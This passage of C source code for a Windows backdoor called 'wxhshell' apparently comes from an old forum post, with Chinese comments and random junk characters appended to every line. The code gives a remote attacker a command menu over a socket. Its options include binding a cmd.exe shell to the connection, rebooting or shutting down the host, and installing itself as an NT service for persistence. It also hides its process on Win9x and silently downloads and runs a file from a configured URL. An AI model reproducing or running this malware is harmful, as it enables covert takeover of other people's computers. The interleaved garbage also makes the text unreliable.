  // 帮助 n7B7m,@1  
  case '?': { $2oTkOA   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "bFTk/  
    break; &gVN&  
  } we~[] \  
  // 安装 :q$.,EZ4#n  
  case 'i': { V)Z}En["1  
    if(Install()) >Wm `v.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q8X feoUV  
    else ]fx"4qKM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c]x1HvPE  
    break; jSD#X3qp  
    } aktU$Wbwl  
  // 卸载 [-65PC4aN  
  case 'r': { 2Nu=/tMN  
    if(Uninstall()) hm84Aq= f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tX9{hC^  
    else 8 ##-EN;ag  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #a/5SZP Z\  
    break; wa<MRt W=  
    } I WTwz!+  
  // 显示 wxhshell 所在路径 lGV0 *Cji  
  case 'p': { /f:dv?!km  
    char svExeFile[MAX_PATH]; =)M/@T  
    strcpy(svExeFile,"\n\r"); A>vBQN  
      strcat(svExeFile,ExeFile); UldXYtGe  
        send(wsh,svExeFile,strlen(svExeFile),0); 2 Wt> Mi  
    break; O,+1<.;+  
    } $? m9")  
  // 重启 rXmn7;B}g  
  case 'b': { 9oyE$S h]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 04LI]'  
    if(Boot(REBOOT)) <{dVKf,e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r@72|:,  
    else { "Q}#^h]F  
    closesocket(wsh); ^ZvWR%  
    ExitThread(0); sv: 9clJ  
    } '-r).Xk  
    break; 6LOnU~l,  
    } &vo--V1|  
  // 关机 9v;Vv0k_  
  case 'd': { Od)Uv1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H{@Yo\J  
    if(Boot(SHUTDOWN)) #o=y?(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b(*!$EB  
    else { ?x$"+,  
    closesocket(wsh); a=1NED'  
    ExitThread(0); }\z.)B4,  
    } RJL2J]*S  
    break; v6=RY<l"m  
    } X\]L=>]C  
  // 获取shell l Q'I  
  case 's': { Nh8Q b/::  
    CmdShell(wsh); NTdixfR  
    closesocket(wsh); ]mo-rhDsM  
    ExitThread(0); eK6hS_E  
    break; Fz3fwLawI  
  } 6%'.A]"  
  // 退出 8UW^"4  
  case 'x': { V@B__`y7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -|J"s$yO4  
    CloseIt(wsh); HKU~UTRnZ  
    break; nim*/LC[:  
    } 3p3 9`"~  
  // 离开 @KWb+?_H{<  
  case 'q': { zjJ *n8l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9E zj"  
    closesocket(wsh); j5K]CTz#  
    WSACleanup(); Hc!  mB  
    exit(1); B( ]M&  
    break; i'a?kSy  
        } 8e*,jH3  
  } @XgKYm   
  } w zYzug  
K0H'4' I  
  // 提示信息 NE"@Bk cm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I3=%h  
} ge,H-8'Z  
  } $:cE ^8K  
 tR}MrM  
  return; I~q#eO)  
} r;/4F/6"  
c2h{6;bfY  
// shell模块句柄 &qMPq->  
int CmdShell(SOCKET sock) M2HomO/X)  
{ iWRH{mK  
STARTUPINFO si; $h5xH9x ;  
ZeroMemory(&si,sizeof(si)); I CZ4 A{I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VYu~26Zr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XF Patd  
PROCESS_INFORMATION ProcessInfo; UM!ENI|  
char cmdline[]="cmd"; VbJiZw(aR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~o82uw?  
  return 0; )` SE S."  
} !Nu<xq@!  
?p9VO.^5  
// 自身启动模式 fdxLAC  
int StartFromService(void) 1QqYQafA  
{ )hd@S9Z.Y  
typedef struct VCu{&Sh*  
{ u6M.'  
  DWORD ExitStatus; g$7{-OpB  
  DWORD PebBaseAddress;  !;EjB*&  
  DWORD AffinityMask; k'gh  
  DWORD BasePriority; , `wXg  
  ULONG UniqueProcessId; us ;YV<)d  
  ULONG InheritedFromUniqueProcessId; 3 ;)>Fs;  
}   PROCESS_BASIC_INFORMATION; :}yi -/_8!  
@AK n@T5  
PROCNTQSIP NtQueryInformationProcess; JIOh#VNU  
\,7f6:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  :l~ I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O#x*iI%  
3 j!3E  
  HANDLE             hProcess; }XZ'v_Ti  
  PROCESS_BASIC_INFORMATION pbi; &K[_J  
3t`P@nL0;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V_>\ 9m  
  if(NULL == hInst ) return 0; g3Ec"_>P  
Mx6@$tQ%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M^MdRu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {n(b{ ibl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;6gDV`Twy  
j Yx38_5e  
  if (!NtQueryInformationProcess) return 0; -#0qV:D  
tna .52*/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @xQgY*f#  
  if(!hProcess) return 0; V\6=ySx  
VOKZ dC-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p%iGc<vHX  
DamC F  
  CloseHandle(hProcess); r^h4z`:L  
x N=i]~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]Gpxhg  
if(hProcess==NULL) return 0; Yb:\a/ y  
H70LhN  
HMODULE hMod; 8j Mk)-  
char procName[255]; H]Cy=Zi"  
unsigned long cbNeeded; P6E3-?4j  
bIGHGd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A&s:\3*Kh  
B,M(@5wz  
  CloseHandle(hProcess); UV5Ie!\nm  
1lq(PGX)  
if(strstr(procName,"services")) return 1; // 以服务启动 ]NjX?XdX<  
O>SLOWgha  
  return 0; // 注册表启动 x6(~;J  
} t]>Lh>G  
&Q+Ln,(&L  
// 主模块 z|=}1; (.  
int StartWxhshell(LPSTR lpCmdLine) kV?y0J.  
{ 9w"h  
  SOCKET wsl; MA;1 ;uI,  
BOOL val=TRUE; U2{ dN>  
  int port=0; Z&ZP"P4  
  struct sockaddr_in door; =NOH:#iQ  
[OHxonU  
  if(wscfg.ws_autoins) Install(); |\QgX%  
Rz (QC\(  
port=atoi(lpCmdLine); dArDP[w  
RD\  
if(port<=0) port=wscfg.ws_port; km)zMoE{c{  
zfI>qJ+Nqt  
  WSADATA data; 8'~[pMn`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UjaK&K+M?  
Dpvk\t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #6ri-n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Uh7v@YMC  
  door.sin_family = AF_INET; xm%Um\Pb7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =jlt5 z  
  door.sin_port = htons(port); VGtC)mG8)  
&Ts-a$Z7?S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O_$m!5ug  
closesocket(wsl); zV:pQRbt.  
return 1; &$"i,~q^b  
} Xg<*@4RD8  
Se HagKA  
  if(listen(wsl,2) == INVALID_SOCKET) { 9l}FU$  
closesocket(wsl); ld3-C55  
return 1; -M%_\;"de  
} [`p=(/I&L  
  Wxhshell(wsl); MxWy*|J}  
  WSACleanup(); bSsh^Z  
*\=.<|HZ  
return 0; ~GTz:nC*  
u@~JiiC%  
} n9@ of  
f~Fm4 >\(  
// 以NT服务方式启动 P/xKnm~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R16'?,  
{ '6Ay&A3N]  
DWORD   status = 0; >2~+.WePu  
  DWORD   specificError = 0xfffffff; uvtF_P/  
.{ 44a$)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [!}:KD2yX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /TZOJE(2j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )E6;-rD0^+  
  serviceStatus.dwWin32ExitCode     = 0; b`)){LR  
  serviceStatus.dwServiceSpecificExitCode = 0; m_=$0m J$  
  serviceStatus.dwCheckPoint       = 0; ^dP KDrKxh  
  serviceStatus.dwWaitHint       = 0; *:>"q ej  
mocI&=EF2X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  -QOw8vm  
  if (hServiceStatusHandle==0) return; {LX.iH9}l  
 Mu2  
status = GetLastError(); Sl-v W  
  if (status!=NO_ERROR) `VKf3&|<A  
{ {z(xFrY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .uyGYj-C  
    serviceStatus.dwCheckPoint       = 0; ZQ)>s>-  
    serviceStatus.dwWaitHint       = 0; Yu?95qktP  
    serviceStatus.dwWin32ExitCode     = status; <,3^|$c%  
    serviceStatus.dwServiceSpecificExitCode = specificError; %6L^2 X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b8LoIY*  
    return; @?=|Y  
  } 1U^A56CN  
YhOlxON  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WA]c=4S  
  serviceStatus.dwCheckPoint       = 0; M@4UGM`J  
  serviceStatus.dwWaitHint       = 0; j'%$XvI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z |a sa*  
} 8'<-:KG  
)t$,e2FY  
// 处理NT服务事件,比如:启动、停止 @fs`=lL/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |;.o8}  
{ \"CZI<=TB  
switch(fdwControl) v-yde >(  
{ }e2(T  
case SERVICE_CONTROL_STOP: PUo/J~v  
  serviceStatus.dwWin32ExitCode = 0; Q-MQ9'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X>NhZ5\  
  serviceStatus.dwCheckPoint   = 0;  1WY/6[  
  serviceStatus.dwWaitHint     = 0; Zm=(+ f  
  { (>`5z(X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Psb>'X  
  } %^I88,$&L  
  return; ]l'Y'z,}  
case SERVICE_CONTROL_PAUSE: cgl*t+o&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9AxCiT.  
  break; w=^`w:5X  
case SERVICE_CONTROL_CONTINUE: w QNxL5B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bn61AFy`  
  break; ,hq)1u  
case SERVICE_CONTROL_INTERROGATE: AZa 6 C w  
  break; F%i^XA]a*  
}; |tv"B@`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A|L8P  
} slg ]#Dy  
HPb]Zj  
// 标准应用程序主函数 ,$'])A?$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ps%qfL\  
{ Ga#:P F0  
/e]'u&a  
// 获取操作系统版本 ,z;ky5Ct  
OsIsNt=GetOsVer(); .k 3 '  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1Ab>4UhD  
C8 vOE`U,J  
  // 从命令行安装 4'-|UPhx  
  if(strpbrk(lpCmdLine,"iI")) Install(); nBHnkbKoy  
UW9?p}F  
  // 下载执行文件 ~zSCg|"r  
if(wscfg.ws_downexe) { @+9<O0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %^1cyk  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,WvY$_#xW%  
} v^zu:Z*  
oP!;\a( SL  
if(!OsIsNt) { -O&CI)`;B  
// 如果时win9x,隐藏进程并且设置为注册表启动 E2cB U{x  
HideProc(); oS7(s  
StartWxhshell(lpCmdLine); \3'9Uz,OC  
} aX~%5 mF  
else AX= 1b,s  
  if(StartFromService()) 3t<a $i  
  // 以服务方式启动 Y`o+XimX  
  StartServiceCtrlDispatcher(DispatchTable); Qb)C[5a}  
else HsnLm67'  
  // 普通方式启动 br0++}vwL  
  StartWxhshell(lpCmdLine); 7\f\!e <  
A |3tI  
return 0; q^A+<d  
}
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只看该作者 1 发表于: 2006-10-10
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